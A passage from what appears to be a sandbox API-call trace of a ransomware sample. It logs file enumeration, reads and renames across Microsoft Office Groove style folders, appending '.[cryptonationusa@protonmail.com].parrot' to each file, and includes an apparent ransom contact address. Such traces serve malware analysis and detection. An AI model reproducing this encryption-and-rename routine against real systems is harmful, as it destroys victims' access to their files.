Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightOrange.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightorange.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.109] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.109] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0192.109] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60062890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.109] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0192.109] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0192.109] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x16f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0192.110] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.110] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.110] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.111] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16f, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x16f, lpOverlapped=0x0) returned 1 [0192.111] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.118] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.118] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.119] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.119] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0192.119] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.126] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.126] ReadFile (in: hFile=0x260, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.127] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.127] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0192.127] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.131] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.131] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a87c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfe8c3b20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfe8c3b20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.131] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60062890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe89d9c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="HEADER~1.PAR")) returned 1 [0192.131] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.131] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.144] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.145] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1074, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x1074, lpOverlapped=0x0) returned 1 [0192.145] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.146] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BrightYellow.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\brightyellow.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.152] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.152] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.153] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.154] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x760, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x760, lpOverlapped=0x0) returned 1 [0192.154] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Casual.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\casual.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Casual.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\casual.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.162] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.162] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.163] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.164] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x731, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x731, lpOverlapped=0x0) returned 1 [0192.164] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.164] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Country.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\country.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Country.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\country.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.168] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.169] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0192.169] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51da7910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60760930, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.169] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0192.169] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0192.169] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f119f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0192.169] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.169] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.170] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.170] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x94, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x94, lpOverlapped=0x0) returned 1 [0192.170] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.171] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.176] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.176] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.176] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.177] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1f0, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x1f0, lpOverlapped=0x0) returned 1 [0192.177] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.177] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.182] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.182] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.184] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.184] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x401, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x401, lpOverlapped=0x0) returned 1 [0192.184] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.185] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.189] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.189] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51da7910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfe935f40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfe935f40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.189] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f119f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe90fde0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="HEADER~1.PAR")) returned 1 [0192.189] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.189] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.191] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.191] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd35, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xd35, lpOverlapped=0x0) returned 1 [0192.191] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.191] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Desert.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\desert.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.195] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.195] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.197] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.197] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x72e, lpOverlapped=0x0) returned 1 [0192.197] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Earthy.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\earthy.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Earthy.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\earthy.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.201] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\GrayCheck\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.202] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0192.202] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c3bfd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61ab7bf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.202] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0192.202] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0192.202] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa042cc00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa042cc00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0192.203] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.203] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.204] SetFilePointerEx (in: hFile=0x1b4, 